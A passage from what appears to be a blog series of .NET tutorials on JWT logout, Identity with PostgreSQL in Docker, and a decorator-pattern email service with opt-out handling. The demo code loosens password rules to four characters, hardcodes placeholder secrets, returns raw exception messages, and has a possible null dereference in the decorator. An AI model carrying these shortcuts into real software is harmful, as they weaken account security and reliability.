    "accessToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJjZDEyNWVlZi1jMDUwLTQ3MDktYTZjZi0yNmYxNDRkMmMzNDUiLCJ1c2VyRW1haWwiOiJ0ZXN0dXNlckBleGFtcGxlLmNvbSIsInVzZXJBZ2UiOiIyNSIsInVzZXJSb2xlIjoiVVNFUiIsImp0aSI6ImUwMmY2N2YzLTQxMzAtNGMxZC04NDkyLTEzOWUyNGUzZmQzMiIsIm5iZiI6MTczODE3NTAwMCwiZXhwIjoxNzM4MTc4NjAwLCJpc3MiOiJodHRwOi8vbG9jYWxob3N0OjgwODAiLCJhdWQiOiJteS13ZWItYXBpLWNsaWVudCJ9.N28PvF8dXSzfusGvUloTo6xcayv_zHh0jpG9cTEGCww",
    "accessTokenExpirationTime": "2025-01-29T19:23:20.2245074Z"
}

Step 3 - Revoke token method (logout)

Method implementation:

  [Authorize]
  [HttpPost("logout")]
  public async Task<IActionResult> Logout()
  {
      try
      {
          //since we are logged in we can get the id from the token
          var userId = HttpContext.User.FindFirstValue(ApplicationClaims.Id);

          if (string.IsNullOrEmpty(userId))
          {
              return Unauthorized("Invalid user.");
          }

          var success = await _tokensRepository.RemoveUserRefreshTokenAsync(userId);

          return success ? Ok("User logged out successfully.") : Unauthorized("Invalid user.");
      } 
      catch (Exception ex)
      {
          return StatusCode(500, $"Internal server error: {ex.Message}");
      }
  }

Method testing - you can use the following curl:

curl --location --request POST 'http://localhost:8080/api/usermanagement/logout' \
--header 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJjZDEyNWVlZi1jMDUwLTQ3MDktYTZjZi0yNmYxNDRkMmMzNDUiLCJ1c2VyRW1haWwiOiJ0ZXN0dXNlckBleGFtcGxlLmNvbSIsInVzZXJBZ2UiOiIyNSIsInVzZXJSb2xlIjoiVVNFUiIsImp0aSI6IjgwOGIzNGNlLTg2NmYtNDM2YS04N2YyLWRjYmVkNDllYWRlOCIsIm5iZiI6MTczODE3NDkyNCwiZXhwIjoxNzM4MTc4NTI0LCJpc3MiOiJodHRwOi8vbG9jYWxob3N0OjgwODAiLCJhdWQiOiJteS13ZWItYXBpLWNsaWVudCJ9.fPhuRF5p3zWvVbXwqIn3RPK54WfuQn-8HIap3fS4wnE'

If the logout has been successful, we get a confirmation and the user's refresh token will be removed from the database.

Conclusions

In this section, we implemented token-based authentication using .NET Core Identity, covering essential functionalities like login, registration, and logout. We explored the two types of tokens used in this authentication system: access tokens, which are used to access protected resources, and refresh tokens, which allow users to obtain new access tokens without needing to log in again. In the next session, we will build upon this by adding authorization to this demo project.

Setting up .NET Identity with PostgreSQL

Marian Salvan — Mon, 27 Jan 2025 09:48:23 +0000

Introduction

One thing that a web application, or any other application for that matter, cannot do without is user authentication, authorization, and account management. In this series, I am going to exemplify how you can use .NET Core Identity to leverage existing capabilities without reinventing the wheel. This will be a step-by-step series, and in the first part, I will show you how to configure a simple .NET Core web API to use this framework.

For this tutorial, I am going to use .NET 9 and PostgreSQL as the database. Additionally, I will demonstrate how to use Docker Compose to run the application, although the tutorial can also be completed without Docker. Without further ado, let's jump into it.

Step 1 - Creating a new project

Create a .NET core API - use the default weather app. If you use Visual Studio your app configuration should look something like this:

Step 2 - Adding proper tools and packages

Open a terminal at root of you project and run the following commands:

PostgreSQL package:
dotnet add package Npgsql.EntityFrameworkCore.PostgreSQL
AspNetCore.Identity package:
dotnet add package Microsoft.AspNetCore.Identity.EntityFrameworkCore
Entity Framework tools (needed for running the database migration):
dotnet tool install --global dotnet-ef
Entity Framework Design package (also needed for running the migration):
dotnet add package Microsoft.EntityFrameworkCore.Design

Step 3 - Custom UserEntity

In most applications using the default IdentityUser class provided by .NET core Identity is not enough. Therefore, in this tutorial, we are going to extend this class and use it to create our database context.

using Microsoft.AspNetCore.Identity;

namespace DemoBackend.Data
{
    public class UserEntity : IdentityUser
    {
        //extend the IdentityUser with your custom additional properties
        public int Age { get; set; }
    }
}

Step 4 - Creating the database context

The database context is using the custom UserEntity class defined at the previous step. Inside the OnModelCreating method we are seeding the roles table with 2 roles (which we are going to use later in this series for exemplifying the authorization).

using DemoBackend.Entities;
using Microsoft.AspNetCore.Identity;
using Microsoft.AspNetCore.Identity.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore;

namespace DemoBackend.Data
{
    public class ApplicationDbContext(DbContextOptions<ApplicationDbContext> options)
        : IdentityDbContext<UserEntity>(options)
    {
        protected override void OnModelCreating(ModelBuilder builder)
        {
            base.OnModelCreating(builder);

            //seeding data for roles - we will use these roles in the future
            var adminRoleId = "d1b6a7e1-8c4b-4b8a-9b1d-1a2b3c4d5e6f";
            var userRoleId = "e2c7b8f2-9d5c-4e8b-8a1d-2b3c4d5e6f7g";

            builder.Entity<IdentityRole>().HasData(
                new IdentityRole
                {
                    Id = adminRoleId,
                    Name = "Admin",
                    NormalizedName = "ADMIN"
                },
                new IdentityRole
                {
                    Id = userRoleId,
                    Name = "User",
                    NormalizedName = "USER"
                }
            );
        }
    }
}

Step 5 - Adding Identity configuration

Now that we have the database context, we need to configure the database connection and Identity settings. All these configurations are demonstrated in the following extension method:

using DemoBackend.Entities;
using Microsoft.AspNetCore.Identity;
using Microsoft.EntityFrameworkCore;
using Microsoft.Extensions.DependencyInjection.Extensions;

namespace DemoBackend.Extensions
{
    public static class DbConnectionExtensions
    {
        public static void AddIdentityDbContext(this IServiceCollection services, WebApplicationBuilder builder)
        {
            var connectionString = builder.Configuration.GetConnectionString("DefaultConnection");

            services.AddDbContext<ApplicationDbContext>(options =>
                options.UseNpgsql(connectionString));

            //this service is required by the DataProtectorTokenProvider used in ASP.NET Core Identity
            services.AddDataProtection();

            //Identity configuration
            services.AddIdentityCore<UserEntity>(options =>
            {
                options.Password.RequireNonAlphanumeric = false;
                options.Password.RequireDigit = false;
                options.Password.RequireUppercase = false;
                options.Password.RequiredLength = 4;
            })
           .AddRoles<IdentityRole>()
           .AddEntityFrameworkStores<ApplicationDbContext>()
           .AddTokenProvider<DataProtectorTokenProvider<UserEntity>>(TokenOptions.DefaultProvider);

            //this is required to be able to use the UserManager service with the UserEntity
            services.TryAddScoped<UserManager<UserEntity>>();
        }
    }
}

Step 6 - Running the project

You can either run the project using Docker Compose (in which case you need a properly configured Dockerfile), or you can simply run it as a normal web API (in this case, you will need PostgreSQL installed on your local machine). I prefer running it with Docker Compose because it eliminates the need to install any dependencies on my local machine and avoids potential installation issues.

Resources needed to run with docker compose

Assure that you have Docker installed
Dockerfile - if you created the project using the configuration from step 1 you should already have it
docker-compose.yaml (placed at same level as you Dockerfile) - please assure that the Dockerfile exposes the proper port (8080, in this case).

version: '3.9'

services:
  webapi:
    image: demo-backend
    build:
      context: .
      dockerfile: Dockerfile
    ports:
      - "8080:8080"
    depends_on:
      - db
    environment:
      - ASPNETCORE_ENVIRONMENT=Development
      - ConnectionStrings__DefaultConnection=Host=db;Database=postgres;Username=postgres;Password=test

  db:
    image: postgres:latest
    environment:
      POSTGRES_DB: postgres
      POSTGRES_USER: postgres
      POSTGRES_PASSWORD: test
    ports:
      - "5432:5432"
    volumes:
      - postgres_data:/var/lib/postgresql/data

volumes:
  postgres_data:

Resources needed to run without docker

PotgresSQL installed locally
Connection string inside the appsettings.json file

{
 "ConnectionStrings": {
    "DefaultConnection": "Host=localhost;Database=postgres;Username=postgres;Password=test"
  }
  //other configurations
}

Step 7 - Add the proper configuration to your `Program.cs`

You should add the AddIdentityDbContext extension method defined above. Additionally, you can include the migration logic to run at application startup. This will automatically apply any pending migrations without requiring manual execution. Your Program.cs file should look like this:

using DemoBackend;
using DemoBackend.Extensions;
using Microsoft.EntityFrameworkCore;

var builder = WebApplication.CreateBuilder(args);

// Add services to the container.

builder.Services.AddControllers();

// Learn more about configuring OpenAPI at https://aka.ms/aspnet/openapi
builder.Services.AddOpenApi();

//extension method defined at step 4
builder.Services.AddIdentityDbContext(builder);

var app = builder.Build();

// Apply migrations on startup
using (var scope = app.Services.CreateScope())
{
    var services = scope.ServiceProvider;
    var context = services.GetRequiredService<ApplicationDbContext>();
    if (context.Database.GetPendingMigrations().Any())
    {
        context.Database.Migrate();
    }
}

// Configure the HTTP request pipeline.
if (app.Environment.IsDevelopment())
{
    app.MapOpenApi();
}

app.UseHttpsRedirection();

app.UseAuthorization();

app.MapControllers();

app.Run();

Step 8 - Creating the migration

Now that you have everything setup, open a terminal at the root of your project and run the following command:

dotnet ef migrations add InitialMigration

This will create the Initial migration with the default Identity tables.

To apply this migration to your database, you can either run the project if you added the migration logic in your Program.cs file, or you can run it manually using the following command:

dotnet ef database update

Step 9 - Running the project

To run you project using docker compose, open a terminal at the root of you API and run the following command: docker compose up --build

This should start both your database instance and your API. If you added the migration logic to the Program.cs, it will also automatically apply the migration to the database specified in the Docker Compose webapi environment configuration.

Step 10 - Check if the Identity tables have been created properly

If everything is successful, you should have the tables created as shown below. For more information about these tables check this official documentation.

Conclusions

In this tutorial, we have learned how to set up .NET Core Identity for a .NET Core web API using PostgreSQL. In the next session, we will build on this tutorial by implementing token-based authentication.

Email service brevo

Marian Salvan — Sun, 26 Jan 2025 19:40:54 +0000

Enhancing Services with the Decorator Pattern in C# - Email Service Case Study

Marian Salvan — Sat, 25 Jan 2025 16:29:29 +0000

Problem statement

One of the most important features a modern application needs is the ability to send notifications. While working on a web API, I encountered the need to implement this functionality. The API was a simple monolithic project, and I developed an email service to handle email notifications. My initial goal was to integrate the Brevo .NET SDK for sending emails efficiently.

However, as the project evolved, a new requirement emerged: the need for an opt-out feature. This presented a challenge because the email service was built as an independent class assembly. I wanted to avoid modifying its core functionality to accommodate the new requirement.

Design Decisions

I have taken the decision to leave the email service untouched because I wanted to adhere to the open-closed principle, which encourages designing components that are open to extension but closed to modification. Additionally, the opt-out table, which stored the opted-out email addresses, was located within the main database of the monolithic project. I wanted to ensure that the email service remained reusable and decoupled from the application’s primary database.

Rationale

By keeping the email service independent, I aimed to achieve the following:

Reusability - the service could be extracted and repurposed for other projects or as part of a separate microservice
Decoupling - avoiding dependencies on the application database ensured the service’s functionality was not tightly bound to the specific implementation details of the current project

Proposed solution:

To address the challenge, I decided to implement the decorator pattern by enhancing the existing email service with the opt-out functionality. During my research, I came across an interesting NuGet package called Scrutor, which provides an excellent abstraction for the decorator pattern. This package allowed me to implement the solution in an elegant way with minimum effort.

Initial implementation

IEmailService interface - defines the contract for sending emails with placeholders and optional footers

    public interface IEmailSender
    {
        //toEmail - email address of the recipient
        //placeholders - A dictionary where the key represents the string to be replaced within the email, and the value specifies what it should be replaced with.
        //hasOptOutFooter - indicates whether or not an optout footer should be appended to the final email
        public Task<bool> SendEmailWithPlaceholders(string toEmail, Dictionary<string, string> placeholders,
            string emailCode, bool hasOptOutFooter = false);
    }

EmailSender service - handles template resolution, placeholder substitution, and email dispatch via Brevo API

    public class EmailSender : IEmailSender
    {
        private readonly EmailSettings _emailSettings;
        private readonly TransactionalEmailsApi _apiClient; //brevo api

        public EmailSender(IOptions<EmailSettings> emailSettings)
        {
            _emailSettings = emailSettings.Value; //email settings fetched using options patter from appsettings.json
            if (!Configuration.Default.ApiKey.ContainsKey("api-key"))
            {
                Configuration.Default.ApiKey.Add("api-key", _emailSettings.ApiKey);
            }
            _apiClient = new TransactionalEmailsApi();
        }

        public async Task<bool> SendEmailWithPlaceholders(string toEmail, Dictionary<string, string> placeholders,
            string emailCode, bool hasOptOutFooter = false)
        {
            var (subject, template) = ResolveTemplate(placeholders, emailCode, hasOptOutFooter);

            var sendSmtpEmail = new SendSmtpEmail
            {
                To = [new SendSmtpEmailTo(toEmail, toEmail)],
                Subject = subject,
                HtmlContent = template,
                Sender = new SendSmtpEmailSender
                {
                    Email = _emailSettings.DefaultSenderEmail, 
                    Name = _emailSettings.DefaultSenderName
                }
            };

            //send email
            var response = await _apiClient.SendTransacEmailAsync(sendSmtpEmail);
            return response?.MessageId != null;
        }


        private (string, string) ResolveTemplate(Dictionary<string, string> placeholders,
            string emailCode, bool hasOptOutFooter = false)
        {
            var subject = new StringBuilder(TemplatesRepository.Entities[emailCode].Subject);
            var template = new StringBuilder(TemplatesRepository.Entities[emailCode].Template);

            //if the email has an optout footer append it else append the regular footer 
            template.Append(hasOptOutFooter ?
               TemplatesRepository.Entities[EmailCodes.OptOutFooter].Template :
               TemplatesRepository.Entities[EmailCodes.RegularFooter].Template);

            //replaces the placeholders with the actual values provided to the email service
            //e.g. key is {{user_name}} will be replaced nad value Bob, Bob will be inserted instead of the placeholder
            foreach (var placeholder in placeholders)
            {
                template.Replace($"{{{{{placeholder.Key}}}}}", placeholder.Value);
                subject.Replace($"{{{{{placeholder.Key}}}}}", placeholder.Value);
            }

            return (subject.ToString(), template.ToString());
        }
    }

TemplatesRepository - stores email template, subjects, and metadata (e.g., opt-out eligibility). In my case, I have a limited number of templates so storing them in memory is good enough for me

public static class EmailCodes
{
    public const string ResetPassword = "ResetPassword";
    public const string ChangeEmail = "ChangeEmail";
    //...other codes omitted for brevity
}

public static class TemplatesRepository
{
    public static readonly Dictionary<string, EmailEntity> Entities = new()
    {
        {
            EmailCodes.ChangeEmail, 
            new()
            {
                Subject = "Change Email Address",
                Template = @"
                <body style='text-align: center;'>
                    <h1>Hello {{user_name}},</h1>
                    <p>
                        You have requested to change the address associated with your account.
                    </p>
                    <p>To change your email address, please click the link below:</p>
                    <p><a href='{{change_email_url}}'>Change Email Address</a></p>
                    <p>Thank you!</p>
                </body>",
                CanBeOptedOut = false,
                AccountEmail = true
            } 
        },        
    {
        EmailCodes.ResetPassword,  
        new()       
        {
                Subject = "Password Reset",
                Template = @"
                    <body style='text-align: center;'>
                        <h1>Hello {{user_name}},</h1>
                        <p>
                            You have requested to reset the password for your account.
                        </p>
                        <p>To reset your password, please click the link below:</p>
                        <p><a href='{{reset_password_url}}'>Reset Password</a></p>
                        <p>Thank you!</p>
                    </body>",
                CanBeOptedOut = true,
                AccountEmail = true
            } 
        }
        //...other templates omitted for brevity
    };
}

SectionExtensions - extension method used for registering the EmailService in the DI container

public static class SectionExtensions
{
    public static IServiceCollection AddEmailSenderServices(this IServiceCollection services)
    {
        services.AddScoped<IEmailSender, EmailSender>();
        return services
    }
}

appsettings.json - stores email settings like API keys and default sender details

{
  //configurations omitted for brevity
  "UiBaseUrl": "https://www.myawesomesite.com/",
  "EmailSettings": {
    "ApiKey": "super-secret-api-key",
    "DefaultSenderName": "Company",
    "DefaultSenderEmail": "default.sender@company.com",
    "AccountEmailsOnly": false
  },
  "EncryptionKeys": {
    "EmailKey": "supersecret",
    "EmailIv": "supersecret"
  }
  //configurations omitted for brevity
}

Example usage of EmailService in code (sending a reset password email)


public class AuthenticationService(IEmailSender emailSender, UserManager userManager, IConfiguration configuration) : IAuthenticationService
{
     //code omitted for brevity
     public async Task<BaseResponse> SendRequestPasswordEmail(string email)
     {
         var user = await userManager.FindByEmailAsync(email);
         if (user?.Email == null)
         {
             return new BaseResponse(ErrorCodes.CouldNotFindUser);
         }

         var passwordResetToken = await userManager.GeneratePasswordResetTokenAsync(user);
         if (string.IsNullOrWhiteSpace(passwordResetToken))
         {
             return new BaseResponse(ErrorCodes.CouldNotGeneratePasswordToken);
         }

         var resetPasswordUrl = $"{configuration.GetValue<string>("UiBaseUrl")}" +
                              $"reset-password-new?token={EncodingHelper.Base64Encode(passwordResetToken)}&user={user.Id}";

         var placeholders = new Dictionary<string, string>
         {
             { "user_name", user.UserName ?? string.Empty },
             { "reset_password_url", resetPasswordUrl }
         };

         var success = await emailSender.SendEmailWithPlaceholders(user.Email, placeholders,
             EmailCodes.ResetPassword);

         return success ? new BaseResponse() : new BaseResponse(ErrorCodes.ResetPasswordEmailNotSent);
     }
//code omitted for brevity
}

Solution implementation

Extending the existing EmailSender service with the Decorator Pattern

Step 1 - implementing EmailSenderDecorator for enhancing the email service with opt-out validation and dynamic footer addition

public class EmailSenderDecorator(IEmailSender emailSender, IOptOutEmailRepository optOutEmailRepository, 
        IConfiguration configuration, IOptions<EncryptionKeysModel> encryptionKeys) : IEmailSender
{
    public async Task<bool> SendEmailWithPlaceholders(string toEmail, Dictionary<string, string> placeholders,
        string emailCode, bool hasOptOutFooter = false)
    {
        try
        {       
            var optOutEmailEntity = await optOutEmailRepository.GetOptOutEmail(toEmail);

            //the decorator also alows for additional valiation that is not present in the original service
            if (optOutEmailEntity is not null && TemplatesRepository.Entities.TryGetValue(emailCode, out var emailEntity) && 
                emailEntity.CanBeOptedOut)
            {
                return false;
            }

            //add the opt out footer to the placeholder array
            if (hasOptOutFooter && optOutEmailEntity.EmailAddress is not null)
            {
                //helper method used for creating a encrypted opt out token
                var token = EncryptionHelper.EncryptObject(optOutEmailEntity.EmailAddress, encryptionKeys.Value.EmailKey, encryptionKeys.Value.EmailIv);
                var encryptedUrl = $"{configuration.GetValue<string>("UiBaseUrl")}opt-out?token={token}";

                placeholders.Add("opt_out_url", encryptedUrl);
            }

            return await emailSender.SendEmailWithPlaceholders(toEmail, placeholders, emailCode, hasOptOutFooter);

        }
        catch
        {
            //handle exception
            return false;
        }
    }
}

public record EncryptionKeysModel
{
    public required string EmailKey { get; set; }
    public required string EmailIv { get; set; }
}

Step 2 - registering the decorator in DI, using Scrutor, to wrap the existing EmailSender

public static class SectionExtensions
{
    public static IServiceCollection AddEmailSenderServices(this IServiceCollection services)
    {
        services.AddScoped<IEmailSender, EmailSender>();
        //registering the decorator using Scrutor
        services.Decorate<IEmailSender, EmailSenderDecorator>();
        return services;
    }
}

Step 3 - by setting hasOptOutFooter to true in the SendEmailWithPlaceholders call, the decorator logic is applied. Without changing this flag, the email service works as before, bypassing the decorator logic

         //omitted for brevity
         var resetPasswordUrl = $"{configuration.GetValue<string>("UiBaseUrl")}" +
                              $"reset-password-new?token={EncodingHelper.Base64Encode(passwordResetToken)}&user={user.Id}";

         var placeholders = new Dictionary<string, string>
         {
             { "user_name", user.UserName ?? string.Empty },
             { "reset_password_url", resetPasswordUrl }
         };

         var success = await emailSender.SendEmailWithPlaceholders(user.Email, placeholders,
             EmailCodes.ResetPassword, true);
         //omitted for brevity

Analysis of the solution

Suitability - the decorator pattern is ideal for enhancing the functionality of a component without modifying its existing logic. It provides a clean and modular way to extend functionality while adhering to the open-closed principle
Extensibility - the decorator pattern offers an extensible way to add more features, such as logging, analytics, or additional validation layers, without changing the core service. However, care must be taken to avoid excessive layering, which could complicate debugging and increase maintenance overhead
Simplified example - this implementation represents a simplified version of a notification service. If templates were stored in a database instead of memory, the service would inherently have access to the database, making the decorator unnecessary for accessing the opt-out table. In such cases, a direct database query within the core service could replace the need for a separate decorator
Transition to a standalone notification service - this solution serves as a step toward decoupling the notification service by adhering to the single responsibility principle. Moving all email logic (template management, opt-out functionality, etc.) into a standalone service would enhance scalability, reusability, and maintainability. A standalone service approach would eliminate dependencies on the primary application’s database while enabling independent scaling and deployment

Forem: Marian Salvan

Configuring React with Keycloak

Introduction

Add the React service in Docker Compose

Configure the Keycloak client for React

Configure the audience mapper

Install dependencies and configure Keycloak in React

Create Keycloak provider and context

Add a simple token service

Protect routes in React

Add login, logout, and profile actions

Testing the authentication and authorization

Conclusion

Demystifying Async/Await in .NET

Introduction

1. Why async/await is a Game-Changer 🚀

2. A Clean async/await example

Example Output

What's Happening with the Main Thread?

3. Behind the Curtain: The Compiler-Generated State Machine

Example Output

4. The Role of SynchronizationContext

5. Conclusion

Configuring .NET APIs Authorization with Keycloak

Introduction

Initial project setup

Docker compose file

Keycloack server configuration

Step 1 - Create a realm

Step 2 - Create a client

Securing .NET API with Keycloack

Step 1 - Add Keycloack configuration

Step 2 - Testing authorization

Conclusions

Appendix - Authentication flows

How to protect your .NET Web API against Common Security Threats

Introduction

Authentication, Authorization and Permissions

Mitigation strategies

Secrets Management

Mitigation Strategies

SQL Injection

Mitigation strategies

Cross-Site Scripting (XSS)

Mitigation strategies

Cross-Site Request Forgery (CSRF)

Mitigation strategies

Cross-Origin Resource Sharing (CORS)

Applying CORS policies in .NET

Denial of Service (DoS)

Mitigation Strategies

Encryption and HTTPS

Third Party Dependencies

Conclusions

Other References

Improving Code Flexibility with Strategy Pattern and Dependency Injection in .NET

Problem statement

Practical example

Proposed solution

Step 1 - Create an ICalculationStrategy interface

Step 2 - Create the concrete strategies

Step 3 - Register the strategies inside the DI container

Step 4 - Apply the strategies inside the Calculate method

Bonus tip

Conclusions

Account Email and Password Change using .NET Identity

Introduction

Initial setup

Step 1 - add the client base url to appsetings.json and/or docker composefile

Step 2 - create the ClientSettings record

Step 3 - register the settings in Project.cs file

Step 4 - register the client configurations

Step 4 - EncryptionHelper

Reseting the account password

Step 1 - SendResetPasswordNotification method

Step 2 - ResetPassword method

Step 3 - Testing

Reseting the account email

Step 1 - SendResetEmailNotification method

Step 2 - ResetEmail method

1. Why `async/await` is a Game-Changer 🚀

2. A Clean `async/await` example

4. The Role of `SynchronizationContext`

Step 1 - Create an `ICalculationStrategy` interface

Step 4 - Apply the strategies inside the `Calculate` method

Step 1 - add the client base url to `appsetings.json` and/or `docker compose`file

Step 2 - create the `ClientSettings` record

Step 3 - register the settings in `Project.cs` file

Step 4 - `EncryptionHelper`

Step 1 - `SendResetPasswordNotification` method

Step 2 - `ResetPassword` method

Step 1 - `SendResetEmailNotification` method

Step 2 - `ResetEmail` method

Step 1 - Add a new constant inside the `ApplicationClaims` class

Step 2 - Add a new static `PoliciesConstants` class

Step 4 - Create `WeatherForecastController` if you do not have it yet

Step 4 - `UserManagementController`

Step 1 - Implement a `TokenRepository` for these operations

Step 7 - Add the proper configuration to your `Program.cs`